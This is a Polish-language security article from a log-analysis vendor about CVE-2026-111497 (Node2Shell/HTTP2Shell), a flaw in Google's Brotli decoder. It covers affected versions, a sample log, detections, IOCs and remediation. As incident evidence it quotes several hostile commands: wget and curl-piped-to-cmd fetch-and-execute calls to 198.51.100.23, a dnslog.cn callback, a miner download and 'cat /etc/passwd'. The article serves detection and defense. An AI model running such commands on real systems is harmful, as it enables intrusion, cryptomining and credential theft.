Wykrywanie Node2Shell/HTTP2Shell jest trudniejsze, niż się wydaje, ponieważ podatność nie jest ograniczona do jednego produktu. Node2Shell, nazywane także HTTP2Shell, to CVE-2026-111497: zapis poza zobszarem w dekoderze Brotli C firmy Google, wersje od 1.0.3 do 1.2.0, oceniony na 9.2 według CVSS 4.0. Ponieważ wada znajduje się we współdzielonej bibliotece kompresji, dotyka Node.js, pakietów Brotli dla Pythona, Bun, curl, Envoy i innego oprogramowania, które dekompresuje Brotli.
Ten artykuł omawia wykrywanie Node2Shell/HTTP2Shell przy użyciu przykładowego dziennika analizowanego w LogTotal, narzędziu do analizy dzienników, które dopasowuje zdarzenia do znanych zagrożeń. Poniżej omawiamy kontekst podatności, źródło dziennika, co zgłosił LogTotal i jak odpowiedzieć.
Analiza Node2Shell (HTTP2Shell)
Podatny kod znajduje się w dekoderze Brotli C wersje od 1.0.3 do 1.2.0. Google, jako autorytet numeracyjny, oceniło go na 9.2 według CVSS 4.0, podczas gdy Node.js ocenia go jako Wysoki. Aby poprawnie czytać przykładowy dziennik, warto wiedzieć, jak wywoływany jest błąd, jak doszło do ujawnienia i jakie wersje i konfiguracje oprogramowania są narażone.
Szczegóły podatności dla Node2Shell
Strumień Brotli, który zadeklarował pojedynczy typ bloku, a następnie zmienił bloki, nie został odrzucony, więc dekodowanie trwało w stanie nieważnym i pisało poza bufor. Każdy proces, który dekompresuje dane Brotli kontrolowane przez atakującego, może być uderzony, w dwóch kierunkach:
- Przychodzący: spreparowane ciało żądania HTTP skompresowanego za pomocą Brotli wysyłane do serwera, który go dekoduje.
- Wychodzący: spreparowana odpowiedź zwracana do klienta, który ją pobiera.
Błąd ma kilka nazw. Node2Shell pojawiła się pierwsza, ponieważ Node.js ujawniło i naprawiło ją pierwsze. HTTP2Shell odzwierciedla fakt, że sięga każdego stosu, który dekoduje Brotli przez HTTP, a część raportów używa także Python2Shell i Broccoli2Shell.
Harmonogram ujawnienia i wykorzystania
| Data (2026) | Zdarzenie |
| 27 października | CISA dodała CVE do swojego katalogu KEV; amerykańskie agencje federalne muszą załatać do 10 listopada |
| 26 października | Eksploatacja w tym próbce zarejestrowana na app-node-01 |
| 25 października | Microsoft wydał poprawki .NET poza standardowym cyklem |
| 22 października | CVE opublikowane; publicznie pokazano wykonanie kodu na Node.js 24.22.0; Bun 1.4.4 wydany |
| 21 października | Ujawnienie i wydanie poprawek przez Node.js; Brotli 1.0.10, 1.1.1, i 1.2.1 wydane |
| 27 lutego | Poprawka zatwierdzona do google/brotli bez wydania lub doradztwa |
Sam błąd został dostarczony w Brotli 1.0.3 w marcu 2018. Khai Tran i Sylvie Mayer z OpenAI Codex Security zgłosili go do Node.js. Istnieje publiczny dowód koncepcji, Imperva i ELLIO oba odtworzyły wykonywanie kodu przeciwko oficjalnym buildom Node.js, a skanery mapujące, które hosty dekompresują Brotli, są już w użyciu. Wykonanie kodu nie zostało pokazane dla pakietów Pythona, chociaż zawieszają się one na złośliwym wejściu, jak pokazuje awaria web-prod-01 w tej próbce.
Dotknięte wersje Node2Shell i poprawki
| Komponent | Naprawiono w |
| Node.js 26.x / 24.x / 22.x | 26.12.1 / 24.22.1 / 22.23.4 |
| Node.js 20.x oraz inne linie zakończone | Brak naprawy; przejdź na wspieraną linię |
| Bun | 1.4.4 |
| Biblioteka Brotli firmy Google | 1.0.10, 1.1.1, 1.2.1 |
| paczki brotli / brotlicffi z PyPI | 1.2.1 / 1.2.1.0 |
| .NET runtime 8 / 9 / 10 | 8.0.33 / 9.0.22 / 10.0.14 |
| Envoy | 1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0 |
| Istio | 1.29.9, 1.30.6, 1.31.2 |
| Java brotli4j / Ruby brotli gem | 1.24.0 / 0.9.1 |
Wersja podatna jest narażona tylko wtedy, gdy dane atakującego mogą dotrzeć do dekodera. W Node.js ścieżka ta istnieje przez Express 5, body-parser 2.x, Koa body parsers, @fastify/compress z dekompresją żądań, fetch() i bezpośrednie wywołania node:zlib Brotli. W Python, requests, httpx, aiohttp, i Scrapy używają pakietu brotli lub brotlicffi, gdy jest zainstalowany. W .NET dekompresja Brotli jest domyślnie wyłączona, a Envoy i Istio narażone są tylko przy włączonym dekompresorze Brotli. curl dekoduje Brotli tylko z –compressed, przez system libbrotli, więc potrzebuje załatanej paczki dystrybucyjnej; Debian i Red Hat dostarczyli już naprawione.
Źródło dziennika i zbieranie
| Atrybut | Wartość |
| Plik | Node2Shell_HTTP2Shell_sample-sanitized.jsonl |
| Zdarzenia | 11 |
| Okno czasowe | 26 października 2026, 11:30:55 do 11:33:05 UTC |
| Schemat | Styl ECS |
| Źródła | 4 komunikaty jądra Linux w postaci tekstu i zrzuty rdzenia systemu; 7 zdarzeń tworzenia procesu Microsoft Defender for Endpoint |
Hosty w próbce
Trzy hosty pojawiają się w surowych danych, na dwóch systemach operacyjnych. Każdy pokazuje inną część ekspozycji Node2Shell.
| Host | OS | Środowisko uruchomieniowe | Aktywność w dziennikach |
| app-node-01 | Linux | Node.js aplikacja /opt/app/server.js | Awaria Brotli, a potem polecenia powykonawcze |
| web-prod-01 | Linux | Proces Pythona | Awaria w _brotli.cpython-311 |
| win-dev-01 | Windows | Node.js aplikacja C:Usersdevuserappserver.js | Pobierz i uruchom, ukryty PowerShell |
Wykrycie Node2Shell (HTTP2Shell)
LogTotal przetworzył 11 linii w 5,3 sekundy i dopasował 23 reguły do 10 linii. Utworzył 2 łańcuchy, zgłoszono 1, a 1 przefiltrowano na etapie weryfikacji AI.
| Pole verdict | Wynik |
| Orzeczenie | Podejrzane, wymaga zbadania |
| Powaga | Wysoki |
| Pewność | Średnia |
Zgłoszony łańcuch to Node2Shell / HTTP2Shell jest krytyczną podatnością (CVE-2026-111497): Wysoka, 100% zgodność, wyzwolone 2 reguły. Znajduje się na pseudonimizowanym hoście między 11:30 a 11:31 UTC, a ten czas i dowody pasują do app-node-01.
Eksploatacja: awaria dekodera Brotli
Reguła „Możliwe próba wykorzystania CVE-2026-111497 (HTTP2Shell / Node2Shell) – Awaria natywnego dekodera Brotli” dopasowała błąd segmentacji w libbrotlidec.so.1.1.0. Stos zrzutu rdzenia jest zakończony przez BrotliDecoderDecompressStream.
Raport mapuje tę awarię na odmowę usługi (T1499.004), co oznacza etap Impactu. Ostatnie trafienie reguły, o 11:33, dotyczy awarii python3 w _brotli.cpython-311 na web-prod-01, co pokazuje tę samą bibliotekę zawodzącą w drugim środowisku uruchomieniowym.
Post-eksploatacja na Linux
„Podejrzane procesy potomne NodeJS [Linux]” wyzwolono 4 razy, gdy węzeł /opt/app/server.js tworzył:
- curl pobierający skrypt konfiguracji publicznego C3Pool XMRig minera
- wget http://198.51.100.23:3000/s.sh
- ping -c 1 5axzi7.dnslog.cn, sprawdzenie callbacku poza pasmem
- cat /etc/passwd
Post-eksploatacja na Windows, poza łańcuchem
Część Windows próbki znajduje się poza zgłoszonym łańcuchem, ale zasługuje na taką samą uwagę. Na win-dev-01, node.exe utworzył cmd.exe /c „curl -s https://198.51.100.23/api/w | cmd”, wzorzec pobierz-i-uruchom, a następnie ukryty powershell.exe wykonujący whoami.
Reguły, które wyzwoliły się na tej aktywności, to Podejrzane procesy potomne NodeJS [Windows], Odczyt zawartości ze Stdin przez Cmd.EXE oraz Podejrzane polecenia Powershell. Przefiltrowany łańcuch, Poznaj AvisLoader: ładowacz Windows stworzony, aby przetrwać przejęcie (Wysoki), był napędzany przez wykonania curl.
IOCs Node2Shell z tej próbki
| Wskaźnik | Typ | Kontekst |
| 198.51.100.23 | IP | Host ładunku dla s.sh (port 3000) i /api/w (HTTPS) |
| http://198.51.100.23:3000/s.sh | URL | Skrypt pobrany przez wget na app-node-01 |
| https://198.51.100.23/api/w | URL | Rurki do cmd na win-dev-01 |
| 5axzi7.dnslog.cn | Domena | Wywołanie zwrotne poza pasmem przez ping |
| Skrypt konfiguracji minera C3Pool XMRig | Pobrane | Pobrany przez curl z węzła |
| libbrotlidec.so.1.1.0 z BrotliDecoderDecompressStream na stosie | Sygnatura awarii | Próba wykorzystania Node.js |
| Awaria _brotli.cpython-311 | Sygnatura awarii | Próba wykorzystania Pythona |
| węzeł / node.exe uruchamiający curl, wget, ping, cat, cmd.exe, powershell.exe | Liniowość procesu | Post-eksploatacja |
Używanie ustaleń LogTotal w triage Node2Shell
Zacznij od zgłoszonego łańcucha, aby potwierdzić eksploatację na app-node-01, a następnie przeanalizuj każde znalezisko poza łańcuchem. W tej próbce reguły poza łańcuchem i przefiltrowany łańcuch wskazują na dwa inne dotknięte hosty, web-prod-01 i win-dev-01.
Zarządzanie Node2Shell (HTTP2Shell)
Samodzielna aktualizacja Node.js nie zamyka Node2Shell, ponieważ wada znajduje się we współdzielonym dekoderze Brotli. Każde środowisko uruchomieniowe lub proxy, które dekoduje Brotli, potrzebuje aktualizacji, a każdy host w próbce musi być w zakresie.
Załataj każdego konsumera Brotli
- Znajdź usługi na Node.js poniżej 22.23.4, 24.22.1 lub 26.12.1, na zakończonej linii Node.js, lub na Bun poniżej 1.4.4, w tym obrazy bazowe i hosty budowlane.
- Najpierw załataj usługi, które dekompresują ciała żądań (Express 5, body-parser 2.x, Koa body parsers, @fastify/compress), pobierają URL-e dostarczone przez użytkowników lub przekazują niezaufane dane do funkcji node:zlib Brotli.
- Zaktualizuj środowisko uruchomieniowe, a następnie ponownie uruchom procesy i przebuduj obrazy kontenerów, w tym aplikacje .NET i binaria samodzielnie zbudowane przy użyciu bun build –compile.
- Zaktualizuj PyPI brotli do 1.2.1 i brotlicffi do 1.2.1.0 oraz zaktualizuj środowisko uruchomieniowe .NET, Envoy, Istio i pakiety brotli dystrybucyjne.
- Przejdź z Node.js 20 i innych zakończonych linii, które nie otrzymają poprawki.
- Do czasu wydania poprawek, odrzuć Content-Encoding: br w WAF lub proxy, dopasowując go niezależnie od wielkości liter i wewnątrz list takich jak „gzip, br”. To nie obejmuje odpowiedzi Brotli odczytywanych przez fetch().
Zalecana odpowiedź LogTotal
- Izoluj host.
- Zbierz dane procesów, systemu i sieci na czas 11:30–11:33 UTC.
- Zweryfikuj poziom łaty Node.js: 22.23.4, 24.22.1 lub 26.12.1.
- Usuń nieautoryzowane binaria.
- Odrzuć niezaufane Content-Encoding: br w WAF.
- Uruchom Node.js bez uprawnień.
- Wyłącz automatyczną dekompresję Brotli tam, gdzie to możliwe.
Dodatkowe kroki z surowego materiału dowodowego
- Poszerz zakres do win-dev-01 i web-prod-01, nie tylko app-node-01.
- Zablokuj przy wychodzących 198.51.100.23 i *.dnslog.cn.
- Sprawdź, czy jest miner: wpisy cron, jednostki systemd i działający proces xmrig.
- Załóż, że odczytano /etc/passwd i oceń konta odpowiednio.
- Poszukaj node, node.exe, lub python3 uruchamiającego powłoki, programy do pobierania lub narzędzia sieciowe.
Ciągłe monitorowanie Node2Shell
Przekaż komunikaty jądra i zrzuty rdzenia z systemu wraz z wydarzeniami procesu EDR. W tej próbce stos zrzutu rdzenia był jedynym bezpośrednim dowodem eksploatacji, a zdarzenia EDR niosły wszystko, co nastąpiło później.
FAQ
Czym jest Node2Shell (HTTP2Shell) i jak działa?
Node2Shell, znany także jako HTTP2Shell, to CVE-2026-111497: zapis poza obszarem w dekoderze Brotli C firmy Google, wersje 1.0.3 do 1.2.0, oceniany na 9.2 według CVSS 4.0. Spreparowane dane Brotli mogą zawiesić każdy proces, który je dekompresuje, a na Node.js wykazano, że pozwala na zdalne wykonanie kodu. Sekcja analizy powyżej wyjaśnia, jak to działa.
Kiedy Node2Shell został po raz pierwszy odkryty?
Khai Tran i Sylvie Mayer z OpenAI Codex Security znaleźli błąd i zgłosili go do Node.js. Pochodzi on z marcowej 2018 roku wersji Brotli 1.0.3. Poprawka została zatwierdzona w głównym repozytorium 27 lutego 2026 bez wydania, a Node.js ujawniło wadę 21 października 2026.
Jaki jest wpływ Node2Shell na systemy?
Sam awaria to odmowa usługi, a dalsze działania pokazują wykonanie kodu w kontekście podatnego procesu. W tej próbce oznaczało to pobranie skryptu konfiguracji minera kryptowalutowego, pobranie ładunku, wywołanie DNS poza pasmem, odczytanie /etc/passwd oraz wykonanie pobierz-i-uruchom w hoście z systemem Windows.
Czy Node2Shell może mnie nadal dotknąć w 2026 roku?
Tak. CVE-2026-111497 jest wykorzystywany na wolności i jest wymieniony w katalogu KEV CISA. Niezałatane wdrożenia Node.js, Bun, Pythona, .NET i proxy pozostają narażone, a Node.js 20 i inne zakończone linie nigdy nie otrzymają poprawki.
Jak mogę się ochronić przed Node2Shell?
Załatkuj Node.js i każdego innego konsumenta Brotli, zrestartuj procesy i przebuduj obrazy. Do tego czasu odrzucaj Content-Encoding: br w WAF lub proxy i wyłączaj automatyczną dekompresję Brotli tam, gdzie to możliwe. Sekcja o zarządzaniu zawiera pełne kroki.
Jak mogę wykryć Node2Shell?
Zbierz logi jądra i systemu oraz zdarzenia procesu EDR z każdego hosta Node.js i Pythona. Alertuj na awarie dekodera Brotli i na środowiska uruchomieniowe uruchamiające powłoki lub programy do pobierania. LogTotal mapuje te zdarzenia do łańcucha Node2Shell, ale również przeanalizuj znalezienia poza łańcuchem, ponieważ ujawniły tutaj dwa dodatkowe hosty.